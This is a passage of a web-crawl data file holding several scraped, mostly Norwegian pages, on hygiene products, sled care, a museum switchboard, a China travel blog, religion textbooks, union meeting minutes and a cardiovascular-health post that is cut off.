{"url": "http://www.nonfood.no/article.php?articleID=5300&amp;categoryID=185", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00283.warc.gz", "warc_date": "2018-03-24T23:36:37Z", "text": "\n\n\u00a0\nBransjens ledende leverand\u00f8r av hygienel\u00f8sninger\n\n\u00a0  \nVi lager helhetlige hygienel\u00f8sninger for at deres virksomhet skal ha en h\u00f8y hygienestandard. Vi har et bredt sortiment av produkter som rengj\u00f8r og desinfiserer. I tillegg kan vi tilby fleksible systemer for dosering, og utstyr til automatisk og mekanisk rengj\u00f8ring.  \n  \nKundeservice er en sv\u00e6rt viktig del av v\u00e5rt arbeid. V\u00e5re konsulenter gj\u00f8r regelmessige bes\u00f8k for \u00e5 kontrollere og vedlikeholde hygienesystemet. Ved behov gir vi oppl\u00e6ring tilpasset deres bedrift og deres ansatte.  \n\n\n\nNonfood.no. En del av Norgesgruppen.\n\n", "language": "no", "__index_level_0__": "da871933-2b36-4a75-b25d-e66f66394fcf"}
{"url": "http://dobing.info/17/2010/01/omsorg-for-plast-sleder.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00353.warc.gz", "warc_date": "2018-03-24T23:45:16Z", "text": "# omsorg for plast sleder\n\n  \n|  |\n\nVinter familiemoro blir ikke bedre enn en tur til sledding bakken. Aking er en aktivitet barn (og voksne) i alle aldre kan nyte, det er billig og det er spennende. Mens det er mange sleder \u00e5 velge mellom, hard plast og dalbaner og kjelker er et popul\u00e6rt valg. Pleie av plast sn\u00f8scooteren vil hjelpe deg \u00e5 f\u00e5 mest aking igjen for pengene\n\n#### Du trenger:.  \nPlast oppbevaringsrom  \nWooden brystet.  \nPappeske.  \n\n## hjelp av plast Akebrett riktig\n\nHvis barnet ditt har en eventyrlysten \u00e5nd, har de sannsynligvis pr\u00f8vd en spr\u00f8 stunt eller to p\u00e5 sine slede, for eksempel st\u00e5 opp eller gi slede et forsprang mens de l\u00f8pe etter det og pr\u00f8ve \u00e5 smelle kroppen seg p\u00e5 et bevegelig m\u00e5l.  \n  \nBruke sleder riktig bidrar til \u00e5 hindre skader, selvf\u00f8lgelig. Men riktig slede bruke beskytter ogs\u00e5 sleden selv. Barn b\u00f8r v\u00e6re godt tilsyn mens sledding. Kontroller at aking omr\u00e5det er fritt for hindringer som tr\u00e6r, gjerder eller parkerte biler. Ikke overbelast en slede med for mange barn og s\u00f8rge for at barna alltid sitter i en fremovervendt posisjon.\n\n## Lagring Plastic Akebrett\n\nMens plast pulkene er bygget for \u00e5 zoome ned sn\u00f8dekte bakker i de kj\u00f8lige vinterm\u00e5nedene, betyr ikke det at kulde er faktisk bra for dem. Etter barna sleden til av hjertens lyst, t\u00f8rt sleden av og lagre den bort fra elementer. En garasje, bod eller kjeller vil gi nok varme og beskytte sleden fra ekstreme temperaturer.  \n  \nUV-str\u00e5ler kan ogs\u00e5 svekke noe plast over tid. For ytterligere \u00e5 beskytte sleden, velge en lagringsplass som ikke er i direkte sollys.\n\n## Reparasjon Sprekker i plast\n\nSelv om foreldre kan h\u00e5pe at hver slede kj\u00f8rer er en jevn tur ned til bunnen av bakken, vet vi at ting skjer. En liten bump i sn\u00f8en kan gj\u00f8re en rask bevegelse slede g\u00e5 \u00f8yeblikk luftb\u00e5rne, er det tilfeldig kollisjon med en annen sledder bundet til \u00e5 skje, og sporadisk ramler ut av sleden er uunng\u00e5elige. De fleste av disse hendelsene er harml\u00f8se, og vil la barnet ler av glede. Sleden, derimot, ikke kommer alltid ut uskadd.  \n  \nDu kan reparere mindre sprekker i plast sleder. Bes\u00f8k din lokale jernvarehandel og sp\u00f8rre dem om en plast reparasjonssett. Det er flere merker tilgjengelig. Noen sett best\u00e5r av en v\u00e6ske og et pulver som, n\u00e5r de blandes, oppretter en tykk stoff \u00e5 bruke til sprekk. Etter herding, er det sprekk forseglet og vanntett.\n\n|  |  |\n|  |  |\n|  |  |\n\n     \n> P\u00e5 Dobing.info gj\u00f8r du alltid et godt valg n\u00e5r du kj\u00f8per en hobby / dekorasjon. Vi har et stort utvalg av h\u00f8ykvalitets produkter. Vi har 1514 stk ulike hobby-materialer fra merker som Efco og avec, American Craft, SEI, MosaixSoft, MosaixPro, Mosaix og MosaixPur. Blant annet knapper, plast figurer, mosaikker, wire stjerner med perler og tekstilvarer\\!\n", "language": "no", "__index_level_0__": "a3069c4b-4b80-4104-ae03-963f6bea2488"}
{"url": "https://digitaltmuseum.org/021026382569/pluggfelt", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-24T23:27:36Z", "text": "# Pluggfelt\n\n  -  Automatkasse for manuelt sentralbord. En enkel betjeningsinstruks vil kunne v\u00e6re: Ved innkommende samtaler plugges svarproppen i jakken til den linje som klaffen har falt ned p\u00e5. Det svares p\u00e5 vanlig m\u00e5te, og kobles ned p\u00e5 vanlig m\u00e5te n\u00e5r motager har ringt av. Ved utg\u00e5ende samtaler velger operat\u00f8ren en ledig linje, venter p\u00e5 summetone, trekker ut bryter for linjen, sl\u00e5r \u00f8nsket nummer, trykker inn bryteren og venter p\u00e5 svar, samtalen settes s\u00e5 opp p\u00e5 vanlig m\u00e5te. Ved \u00e5 benytte begrepet \"vanlig m\u00e5te\" vil det passe til den instruks som eller var gjeldene for det enkelte sentralbord. Datering: Kondensatorene hadde ofte produksjonsdato, den gr\u00e5 kondensatoren kan v\u00e6re en som har blitt byttet senere, men her ser datoen tydlig ut til \u00e5 v\u00e6re 5.49, de svarte kondensatorene er vanskeligere \u00e5 se p\u00e5 bildet men det kan se ut som om det st\u00e5r 33 p\u00e5 en av disse. Angitt informasjon om ettermontert nummerskive kan bety at enheten er produsert i 33 og nummerskive er ettermontert i 59 \n\n", "language": "no", "__index_level_0__": "9abb6717-e461-4229-9794-6457815b0c9c"}
{"url": "http://lailanc3.blogspot.com/2008/07/21-juli-li-elven-og-dens-herligheter.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00667.warc.gz", "warc_date": "2018-03-24T23:17:28Z", "text": " \n\n## Saturday, July 26, 2008\n\n### 21\\. juli - Li-elven og dens herligheter\\!\n\nOpp i otta og p\u00e5 med luftige kl\u00e6r. Fruekost med egg og bacon unner vi oss, det blir nok ris liksom\\! Jeg har faktisk ogs\u00e5 f\u00e5tt i meg minst 2 digre vannmeloner, 3 ananas og diverse andre befrukeligheter p\u00e5 turen. Flink pike ikke sant Torill?  \n  \n\nVi hadde bestilt elveb\u00e5t-turen fra hotellet (450 RMB pr pers. inkl kinesisk lunsj og befraktning). Dette var lurt, for vi kunne etter hvert se at v\u00e5r b\u00e5t var hakket bedre enn de andre.\n\nMen\u2026 kj\u00f8kkenet var jeg glad vi ikke fikk se, n\u00e5r jeg s\u00e5 kj\u00f8kkenet p\u00e5 de andre b\u00e5tene, det var nemlig i hekken p\u00e5 b\u00e5ten\\! Utend\u00f8rs\\! OG oppvasken s\u00e5 ut til \u00e5 bli tatt med vann fra elven.\n\nGodt vi har tatt e-coli-vaksine sier n\u00e5 jeg\\! Og undere over alle undere - vi var friske og sunne hele tiden, og det til tross for lett uforsiktig omgang med vann fra springen og altfor mye iskrem\\!\n\n  \nUtsikten fra b\u00e5ten var uansett nydelig, og ble nydeligere og nydeligere.  Det er et landskap man ikke kan forklare, godt Guilin ikke ligger i Sverige\\! Da hadde ikke svenskene v\u00e6rt til \u00e5 holde ut, fordi dette er nesten vakrere enn v\u00e5re fjorder og fjell\\! (men bare nesten). Fjellene er kalkstein, og de endrer seg. Jeg m\u00e5 lese mer om disse vakre rare sukkertoppene, da det m\u00e5 v\u00e6re noe helt spesielt som gj\u00f8r at de f\u00e5r denne helt spesielle runde fasongen\\!  \n\nVi var heldige med v\u00e6ret ogs\u00e5, s\u00e5 alt var jo bare helt p\u00e5 g\\!  \n\nVi s\u00e5 fiskemennene, men ikke in action. De fisker nemlig ikke i dagslys. Fiskeren har skarver til \u00e5 hjelpe seg, de sn\u00f8rer halsen slik at kun de sm\u00e5 fiskene kommer ned i magen deres, mens de store fiskene blir spyttet ut igjen hos fiskermannen. Spr\u00f8tt, men sant. Fuglene r\u00f8mmer ikke, s\u00e5 det er et gjensidig tillits- og avhengighetsforhold. Denne m\u00e5ten \u00e5 fiske p\u00e5 har de holdt p\u00e5 med p\u00e5 LI-elven i hundrevis av \u00e5r. Det var morsomt \u00e5 se livet langs elven, hvor folk levde med sine h\u00f8ner, ender, kyr, og skarver. Barn og vannb\u00f8fler badet side om side, de var litt sjenerte n\u00e5r de s\u00e5 oss sto med kameraene \u2013 barna alts\u00e5 de badet jo i sin f\u00f8dselsdags-drakt).  Til og med en geit s\u00e5 vi oppe i fjellsiden\\! En stor bizniz p\u00e5 elven er bambusfl\u00e5ter med oppbygde stoler med tak over (mot sol og regn) hvor man kan bli standsmessig fraktet fra A til B \u2013 kanskje med en liten b\u00f8lgeskvulp fra de store turist-elveb\u00e5tene\\!\n\n  \nI Yangshuo var det et forferdelig pes, med turistfellegate i over en kilometer. Jeg handlet i en butikk der de hadde tradisjonelt h\u00e5ndverk fra Mieu-stammen, selv om jeg er usikker p\u00e5 om den veska jeg kj\u00f8pte er helt trad\u2026 men jeg likte den. Lukter litt hamp s\u00e5 jeg h\u00e5per ikke V\u00e5lereng-gutta r\u00f8yker den n\u00e5r jeg kommer hjem\u2026\n\nLitt utenfor handlegata var det litt bedre, og vi rusla litt rundt og jeg knipsa i vildensky selvsagt. Fjellene ligger rundt byen som om de \u00f8nsker \u00e5 holde den p\u00e5 plass liksom\\!\n\n  \nSiden vi syns det var litt pes i byen, lengtet vi \"hjem\" til Guilin. Det skulle g\u00e5 en lokal buss, s\u00e5 vi lette, og fant en kar som l\u00f8p rundt og ropte \"GUILIN GUILIN\" \u2013 og vi gikk etter ham\u2026 det var masse masse busser, men hans buss sto f\u00f8rst\\! S\u00e5 vi jumpet om bord, turen skulle ta 1 \u00bd time og kostet 15 RMB (ca 10 kroner)\u2026. Det var en tur med livet som innsats, hjertet i halsen og \u00f8ynene omtrent p\u00e5 utsiden av brillene\u2026. Men vi overlevde selv om jeg nok kunne tenkt meg \u00e5 ikke hatt lyden av kinesisk kung-fu-film h\u00f8yt h\u00f8yt h\u00f8yt i \u00f8rene i nesen 2 timer. Puh.\n\nKvelden rusla vi rundt i Guilin og koste oss, m\u00e5tte kj\u00f8pe \u00f8l for \u00e5 f\u00e5 g\u00e5tt p\u00e5 do, men det gikk greit det og\\!  Per fant en te-handler, og jeg fant en silkeorm-dame, begge like fascinerende p\u00e5 hver sine m\u00e5ter. Vi ble invitert inn p\u00e5 te hos te-mannen og svigerinnen, s\u00e5 da kj\u00f8pte vi selvsagt te hos ham\\! Ogs\u00e5 hos silkeormdamene kj\u00f8pte vi et par ting.\n\nP\u00e5 vei tilbake til hotellrom nr. 1352 (bygning 1, etasje 3 rom nr. 52) stakk vi innom supermarkedet og sjoppa en ille dyr Kinesisk r\u00f8dvin (kosta faktisk 88 RMB) \u2013 Dynasty Cabernet, som er en av de beste kinesiske vinene. De hadde r\u00f8dvin til priser ned mot 10 RMB, ca 7 kroner, men den hoppet vi over\u2026.\n\nVi glemte \u00e5 spise middag, men det gjorde sikkert ingenting\\!\n\n1:15 PM           \n\n", "language": "no", "__index_level_0__": "93c1a325-50a4-444c-a0e5-307d4f1c93f5"}
{"url": "http://www.suzannethobro.no/2011/03/en-kort-skisse-over-endringer-i.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00283.warc.gz", "warc_date": "2018-03-24T23:17:25Z", "text": " \n\n## 11\\. mar. 2011\n\n### En kort skisse over endringer i religionsl\u00e6reb\u00f8ker 1935-d.d.\n\n*Foredrag holdt ved lektorutdanningen ved MF:*\n\n  \nMitt navn er Suzanne Thobro, og jeg er stipendiat i religionsvitenskap ved Universitetet i Troms\u00f8. Jeg forsker p\u00e5 religionsl\u00e6reb\u00f8ker for den videreg\u00e5ende skole, n\u00e6rmere bestemt p\u00e5 hvordan religion og religioner konstrueres i l\u00e6reb\u00f8kene.\n\n  \nHva som regnes som religion avgj\u00f8res ikke bare innenfor religionene selv. Ogs\u00e5 hvordan man snakker om og beskriver religion i sekul\u00e6re institusjoner, slik som i media, i skolen og i det offentlige, former v\u00e5r forst\u00e5else av hva religion er. Religionssosiologen Peter Beyer beskriver tre religionsdiskurser, alts\u00e5 tre m\u00e5ter \u00e5 snakke om religion p\u00e5 \u2013 en teologisk, en vitenskapelig og en offentlig. Den teologiske diskursen finner vi innenfor religi\u00f8se institusjoner, den vitenskapelige finner vi f.eks i religionsvitenskapen og i andre vitenskapelige disipliner, mens den offentlige er den vi finner i f.eks statlige dokumenter, lovtekster, l\u00e6replaner og l\u00e6reb\u00f8ker. Som eksempel kan nevnes lov om trudomssamfunn og ymist anna. I denne loven, som blant annet definerer hva som skal til for at noe kan kalle seg et trossamfunn, finner vi beskrivelser og definisjoner av religion som ikke n\u00f8dvendigvis g\u00e5r overens med hva man forst\u00e5r som religion i religionsvitenskapen og i teologien. I tillegg til Bergers tre diskurser kan man ogs\u00e5 snakke om en folkelig diskurs, alts\u00e5 hvordan vi snakker om og forst\u00e5r religion i hverdagen. Alle har en forst\u00e5else av hva religion er, som vi ubevisst enes om n\u00e5r vi snakker om religion. De fire diskursene har mange overlappende punkter, men kan beskrives som ulike sf\u00e6rer der man snakker om religion p\u00e5 en s\u00e6regen m\u00e5te. I alle fire diskurser finner man alts\u00e5 ulike konstruksjoner b\u00e5de av fenomenet religion og av forskjellige religioner.\n\n  \nL\u00e6reb\u00f8ker, som jeg forsker p\u00e5, er en del av den offentlige diskursen om religion. Selv om man i l\u00e6reb\u00f8ker finner b\u00e5de vitenskapelige og teologiske perspektiver, er de representanter for den offentlige diskursen: l\u00e6reb\u00f8ker er underlagt l\u00e6replaner, skolelover og offentlig politikk. N\u00e5r jeg s\u00e5 unders\u00f8ker l\u00e6reb\u00f8kenes fremstilling av religion ser jeg ikke p\u00e5 om l\u00e6reb\u00f8kene er gode eller om det som st\u00e5r i dem er feil eller riktig, men jeg unders\u00f8ker hvordan religion og religioner konstrueres i den offentlige diskursen som l\u00e6reb\u00f8kene utgj\u00f8r. Jeg ser p\u00e5 hvordan man i l\u00e6reb\u00f8kene definerer religion, hva man velger \u00e5 omtale n\u00e5r man skal beskrive hva religion er og best\u00e5r av, og hvilke forskjellige religioner som presenteres i l\u00e6reb\u00f8kene.\u00a0\n\n  \nJeg har et historisk perspektiv p\u00e5 l\u00e6reb\u00f8kene, idet jeg unders\u00f8ker endringer i dem fra 1935 og frem til i dag. I 1935 ble undervisning i andre religioner enn kristendommen innf\u00f8rt med ny skolelov, og mitt hovedfokus ligger nettopp p\u00e5 andre religioner enn kristendommen. \n\n  \nDe funnene jeg presenterer her i dag er forel\u00f8pige funn. De bygger p\u00e5 det jeg fant i masteroppgaven min, der jeg s\u00e5 p\u00e5 fremstillingen av hinduisme og buddhisme, samt mitt p\u00e5g\u00e5ende doktorgradsprosjekt der jeg ser p\u00e5 alle religioner presentert i l\u00e6reb\u00f8kene.\n\n  \nL\u00e6reb\u00f8kene fra 1935 og frem til i dag kan grovt sett deles inn i tre perioder. Fra 1935 til begynnelsen av 1970-tallet var fokuset p\u00e5 oldtidens religioner i l\u00e6reb\u00f8kene som tok for seg andre religioner enn kristendom. I denne tiden var gymnaset, som det den gang het, bundet av en kristen form\u00e5lsparagraf, og l\u00e6reb\u00f8kene reflekterer dette tydelig. I tillegg til at det ble fokusert p\u00e5 religionenes eldre historie, ble de forskjellige religionene bed\u00f8mt ut ifra hvor gode de kunne regnes \u00e5 v\u00e6re sammenlignet med kristendommen.\u00a0 Religion ble definert ut fra klare kristne kriterier: troen p\u00e5 gud og det hellige. Religion ble sett som noe allmennmenneskelig, men det var monoteisme og kristendom som var den h\u00f8yeste formen for religion, og man mente at alle religioner var trinn p\u00e5 vei mot dette m\u00e5let.\n\n  \nAv utd\u00f8dde religioner var det vanlig \u00e5 ha med egyptisk, babylonsk, gresk, romersk, norr\u00f8n og vedareligion. Av religioner som fremdeles eksisterte i samtiden hadde man gjerne med parsisme, buddhisme, hinduisme, islam og kinesisk religion. Det var uansett de historiske uttrykkene for dem som ble beskrevet, ikke slik de fremsto i samtiden. Den eneste formen for religion som ble beskrevet som samtidig, var s\u00e5kalt primitiv religion, ogs\u00e5 kalt naturfolks religion.\u00a0\n\n  \nDet var beskrivelsen av \"primitiv religion\" som i l\u00e6reb\u00f8kene fungerte som innf\u00f8ring i hva religion er, og hvordan religion utvikler seg fra lave stadier som animisme og totemisme til monoteisme. \"Primitive\" naturfolk var som levende eksempler p\u00e5 hvordan s\u00e5kalte \"kulturfolk\", som \"vi\" jo var, hadde v\u00e6rt for lenge siden, f\u00f8r \"vi\" utviklet oss.\u00a0\n\n  \nI beskrivelsen av utd\u00f8dde religioner ble det lagt vekt p\u00e5 deres verdi for den kulturelle arven, og selv om religionene ble avvist som religion, fremhevet man det man ans\u00e5 som positivt med folkene som representerte religionene. At man var et kulturfolk, og ikke primitive, var positivt i seg selv, og store kulturelle prestasjoner som praktfulle bygninger, lovverk og etikk og moral ble fremhevet som eksempler til etterf\u00f8lgelse. I beskrivelsen av levende religioner, s\u00e6rlig n\u00e5r det gjaldt hinduisme, buddhisme og islam, ble det lagt vekt p\u00e5 det eksotiske, hvor godt de \"l\u00e5 an\" i forhold til monoteisme, og elementer ved disse religionene man klart skulle ta avstand fra. Et unntak er iransk religion eller parsisme, der det viktigste \u00e5 formidle var hvordan arierne/indoeuropeerne i m\u00f8te med barsk natur hadde utviklet seg til et hardf\u00f8rt folk. At det er likheter med den norske naturen og dermed ogs\u00e5 med nordmenn l\u00e5 nok her under.\n\n  \n\nNeste periode varer fra ca. 1970 og gjennom 1980-tallet. I 1974 kom ny skolelov og i 1976 ny l\u00e6replan, men allerede i overgangen til 1970-\u00e5rene gjennomgikk l\u00e6reb\u00f8kene drastiske endringer i b\u00e5de innhold og utseende. Mens alle bokutgivelser mellom 1935 og 1970 hadde holdt seg meget like \u2013 sm\u00e5, tynne b\u00f8ker \u2013 begynte l\u00e6reb\u00f8kene n\u00e5 \u00e5 \"vokse\". Det ble lengre kapitler og mange flere bilder. Hvilke religioner som var i fokus ble ogs\u00e5 endret drastisk. N\u00e5 skulle det v\u00e6re levende religioner i s\u00f8kelyset, og utd\u00f8dde religioner forsvant fra b\u00f8kene.\n\n  \nFremdeles var det forholdsvis mange religioner b\u00f8kene dekket: buddhisme, hinduisme, islam, kinesiske religioner, japansk religioner, j\u00f8dedommen samt s\u00e5kalte naturfolks religioner (ogs\u00e5 kalt skriftl\u00f8se). Skiftet fra historiske til levende religioner kan forklares ut fra skiftet i den globale politikken. Innvandrere begynte n\u00e5 \u00e5 komme til Norge, og med FNs menneskerettigheter ble ogs\u00e5 verden utenfor Norge relevant p\u00e5 en annen m\u00e5te enn f\u00f8r. Dette fokuset p\u00e5 verdenssituasjonen kommer til syne blant annet i at man i noen b\u00f8ker tar utgangspunkt i verdensdeler og land i stedet for i religionene selv. I stedet for kapitler om f.eks kristendom og islam, er det kapitler om religion i Nord-Amerika, S\u00f8r-Amerika, \u00d8st-Europa, Nord-Europa osv.\n\n  \nP\u00e5 bakgrunn av Norges ratifisering av menneskerettighetene ble n\u00e5 religionsfaget i videreg\u00e5ende skole konfesjonsfritt. Det var likevel kristendommen som i l\u00e6reb\u00f8kene ble fremstilt som b\u00e6rer av de verdiene man \u00f8nsket elevene skulle ta til seg, og som var m\u00e5lestokken for andre religioner. Man begynte n\u00e5 \u00e5 g\u00e5 vekk i fra evolusjonsperspektivet om at alle religioner var p\u00e5 vei til monoteisme, men kristendom var likevel sammenligningsgrunnlaget. Fremdeles ble religion definert ved hjelp av kristne begreper og kriterier.\n\n  \nP\u00e5 tross av de store endringene var det kontinuitet i reperesentasjonsperspektivet p\u00e5 de enkelte religionene. F.eks buddhismen, som i b\u00f8kene fra f\u00f8rste periode ble fremstilt som en religion som gjorde sine tilhengere passive og sl\u00f8ve, ble tillagt noe mer aktivitet i perioden 1970-1980, men fremdeles tjente buddhismen som eksempel p\u00e5 noe som ikke var \u00f8nskelig for elevene. Kontinuitet er det ogs\u00e5 i fremstillingen av hinduisme som noe eksotisk og bisart, mens aller st\u00f8rst likhet kanskje gj\u00f8r seg gjeldende i kapitlene om naturfolks religioner. Selv om navnet endres \u2013 man g\u00e5r vekk i fra begrepet primitiv \u2013 s\u00e5 endrer beskrivelsen seg p\u00e5fallende lite.\n\n  \nN\u00e5r det gjelder islam skjer det en endring fra 1970 som har preget fremstillingen av denne religionen frem til i dag. Fokus p\u00e5 kj\u00f8nn kom n\u00e5 inn som et viktig aspekt, men alts\u00e5 bare i henhold til denne religionen. Fra \u00e5 v\u00e6re en religion som ble fremstilt forholdsvis sympatisk, p\u00e5 grunn av dens likhet med kristendommen, begynner den n\u00e5 en ferd mot \u00e5 bli representant for kvinneundertrykkelse, bestialske straffer og religi\u00f8se konflikter.\n\n  \nDen siste perioden jeg har delt l\u00e6reb\u00f8kene inn i varer fra begynnelsen av 1990-tallet og frem til i dag. I denne perioden fokuserer man p\u00e5 f\u00e6rre og f\u00e6rre religioner i l\u00e6reb\u00f8kene. F\u00f8rst forsvinner kinesisk, japansk og afrikansk religion fra b\u00f8kene, s\u00e5 slutter man \u00e5 ha med nyreligi\u00f8sitet. Av de tre b\u00f8kene som er p\u00e5 markedet i dag har \u00e9n bok kapitler om fem religioner, \u00e9n bok har kapitler om fire og den siste har kun tre religioner. Her det viktig \u00e5 v\u00e6re oppmerksom p\u00e5 at presentasjonen av en del religioner har blitt flyttet til l\u00e6reverkenes nettsider, men i selve b\u00f8kene er det alts\u00e5 f\u00e6rre religioner som blir presentert.\n\n  \nI perioden 1990 til 2000-tallet snus fokuset fra den globale situasjonen til norske forhold. De forskjellige religionene knyttes n\u00e5 til Norge blant annet ved beskrivelser av hvordan ut\u00f8velse av andre religioner enn kristendom arter seg her i landet. I b\u00f8kene i denne perioden er det ogs\u00e5 ting som tyder p\u00e5 at grunnen til at f\u00e6rre religioner blir presentert i b\u00f8kene, er at det er f\u00e6rre religioner som anses som relevante i en norsk sammenheng. Endringene i denne perioden ser ut til \u00e5 peke mot at det f\u00f8rst og fremst er kristendom, islam og buddhisme som st\u00e5r igjen som relevante. Det sterke internasjonale fokuset man finner i b\u00f8kene p\u00e5 70- og 80-tallet er i stor grad alts\u00e5 borte.\n\n  \nN\u00e5r det gjelder verdiperspektivet beveger man seg i denne siste perioden omtrent helt vekk fra kristendommen som referanseramme. Fra 90-tallet av l\u00f8srives de verdiene man \u00f8nsker elevene skal gj\u00f8re til sine egne, fra religion, og presenteres som sekul\u00e6re. I de helt nyeste b\u00f8kene har det kommet et sterkere fokus p\u00e5 livssynshumanisme og Human-Etisk forbund. Selv om dette temaet ogs\u00e5 ble belagt i b\u00f8ker p\u00e5 80-tallet, kan man si at det er i perioden fra 1990-tallet til i dag livssynshumanismen tar over for kristendommen som m\u00e5lestokk p\u00e5 gode verdier.\n\n  \nN\u00e5r det gjelder representasjon av de enkelte religionene er det ogs\u00e5 i denne perioden p\u00e5 den ene siden sterk kontinuitet fra tidligere, og p\u00e5 den annen side noen markante endringer. F.eks hinduismens fremstilling har holdt seg meget lik helt fra de f\u00f8rste b\u00f8kene ble utgitt etter loven av 1935. P\u00e5 hinduismen har det kontinuerlig v\u00e6rt et mer eller mindre eksotisk perspektiv. I motsetning har representasjonsperspektivet i fremstillingen av buddhismen snudd forholdsvis tvert om: i l\u00e6reb\u00f8kene fra 90- og 2000-tallet beskrives buddhismen i meget positive vendinger, mens den i f\u00f8rste periode, fra 1935 til -70, ble beskrevet i negative vendinger.\n\n  \nEndringene i l\u00e6reb\u00f8kene gjennom hele perioden fra 1935 og frem til i dag henger selvsagt sammen men f\u00f8ringer i skolelovene og l\u00e6replanene. Det er likevel mange elementer i l\u00e6reb\u00f8kene som ikke kan forklares p\u00e5 denne m\u00e5ten \u2013 det er tydelig at l\u00e6reb\u00f8kene danner sin egen diskurs om religion.\n\n     \n        \n\n", "language": "no", "__index_level_0__": "669311e6-24f4-45a9-a975-19522a3f0f2f"}
{"url": "http://docplayer.me/503113-Oslo-avdeling-protokoll-fra-styremote-nr-7-2011-oslo-avd.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-25T00:32:57Z", "text": "1 NEGOTIA Et VS 'brim:rid Oslo avdeling PROTOKOLL FRA STYREM\u00d8TE NR. 7/2011- OSLO AVD. Dato: Fredag l\u00f8rdag Sted: Thon Hotel Vettre Tid: Kl Tilstedet: Svein I Johansen, Morten Gundersen, Stein Sele, Are Shaw Waage, Genevieve Prebensen, Wenche Nitteberg, Erik Svendsen, Trine Olsen. Dagsorden: 1. Godkjenning av innkallelse Vedtak: Innkallingen ble godkjent 2. Godkjenning av dagsorden Vedtak: Dagsorden ble godkjent 3. Godkjenning av protokoll fra styrem\u00f8te nr. 6, 8. juni 2011 Vedtak: Protokollen ble godkjent. 4. \u00d8konomi Kasserer har laget halv\u00e5rs regnskap. Det er underskudd, mot budsjertert ,- som er g\u00e5tt ut uten at det har v\u00e6rt p\u00e5 budjett ,- av dette er gave til sikringsfondet, og ,- er for regnskapsprogram. Vedtak: Tatt til orientering 5. Ung arbeid Mye rapportering. Genevieve har v\u00e6rt i YS-ung r\u00e5d: YS-lager quiz p\u00e5 internettsiden for \u00e5 rute nye medlemmer til de ulike forbund. Film lages. Det ser ut som om vi treffer unge i forhold til arrangementet. UNG-styret drar Genevieve alle i styret med, og opplever at styret jobber godt sammen. Det blir UNG-bolker i Negotia Magasinet. Oslo avdeling leder ann i ungarbeidet. UNG skal delta p\u00e5 YS-konferanse Vedtak: Tatt til orientering 6. Medlemssanking Det er ikke gjort noe for \u00e5 sanke medlemmer, tror at man m\u00e5 g\u00e5 via Ung for \u00e5 sanke nye medlemmer. Det ble foresl\u00e5tt \u00e5 lage et utvalg som kan best\u00e5 av et par fra styret, samt noen eksterne fra avdelingen som vil jobbe med dette, lage en plan for arbeidet. Are, Erik og Genevive\n\n5 November 7. November 14. Form\u00f8te til LM November 16. Form\u00f8te til LM November Landsm\u00f8te Slottsparken Hotell kommer Hotell kommer November 28. Desember 14. F\u00f8rjulstreff Gamle Ringnes Bryggeri Brugt. 19, Oslo Morten bestilller, Vedtak: /17.3 m\u00f8ter Enkelst\u00e5ende medlemmer er uten klubb og tillitsvalgt. Disse har ikke tillitsvalgte, og disse m\u00e5 g\u00e5 i dr\u00f8ftningsm\u00f8ter alene og har ikke kursskap i slike situasjoner. Sentralt kan ikke stille p\u00e5 15.1 p\u00e5 grunn av habilitet i forhold til Er det noe vi kan gj\u00f8re i forhold til dette. Kan vi ha kurs, b\u00f8r det kunne kobles mot mentorprogram. Kan Oslo avdeling engasjere advokat, Defakto for 15.1 m\u00f8ter? Hvor mange kan det v\u00e6re som trenger dette. Dette er en prinsipp sak. Det er snakk om ett m\u00f8te per medlem. Morten tar kontakt med Defakto for hvor mye dette kan utgj\u00f8re. Genevieve tar kontakt med Rolf Utg\u00e5rd for \u00e5 h\u00f8re om han kan bist\u00e5 i 15.1-saker for enkeltmedlemmer. Saken f\u00f8res videre til landsm\u00f8te. Vedtak: Oslo avdeling vil ta saken videre. 15. Styrets time Ingen saker Vedtak: M\u00f8tet avsluttet: kl Neste m\u00f8te: kl Oslo, GpAQuiketw 4dz-tl(ckt,:(21/4\\_ 5\n\n\n\n### Innkomne forslag: Heving av honorarsatser til styret. Satsene har ikke v\u00e6rt justert de siste 8 \u00e5r.\n\n", "language": "no", "__index_level_0__": "149f2d2c-0364-486d-bf82-1591125b5279"}
{"url": "https://as.dntoslo.no/aktiviteter/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-24T23:06:09Z", "text": "**Hei\\!** Det er ikke sikkert vi klarte \u00e5 finne alle turer og aktiviteter i n\u00e6rheten av valgt sted. Vi jobber med \u00e5 gi turene en bedre geografisk plassering. Du kan fors\u00f8ke \u00e5 velge turomr\u00e5de eller arrang\u00f8r i stedet.\n", "language": "no", "__index_level_0__": "68dac50d-40e6-4bdd-8644-d8f88fe07bdb"}
{"url": "https://cergntnu.wordpress.com/2012/07/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00693.warc.gz", "warc_date": "2018-03-24T23:21:40Z", "text": "# Monthly Archives: July 2012\n\n# Cardiovascular health: Active Vs. Sedentary\u00a0time\n\nPosted on 17. July 2012  by  CERG\n\nThe role of activity for cardiovascular disease protection is well recognized. And a graded negative association of activity levels or exercise intensity with cardiovascular morbidity or mortality has been known for over 2 decades. However, excessive sedentary behaviour as defined by activities involving prolonged sitting may be linked to a poor cardiovascular profile as well. The question remains whether it is amount of sedentary time or exercise volumes that are better predictor of cardiovascular health.\n\nMost of studies using sedentary time as a risk factor used self-reported data, and have shown an increased risk of overall mortality and cardiovascular disease incidence. These results are independent of participation in moderate or vigorous physical activity. In general terms, sedentary time is usually considered as time spent for TV viewing. However, this time is also associated with other behavioral risk factors, such as consuming high-energy snack foods and/or influence of TV advertisements. Therefore, a relationship between TV viewing time with adverse cardio-metabolic profile may be not truly because of sedentary behaviour but because of unhealthy (drinking/eating etc.) lifestyle.\n\nAn objective measurement of 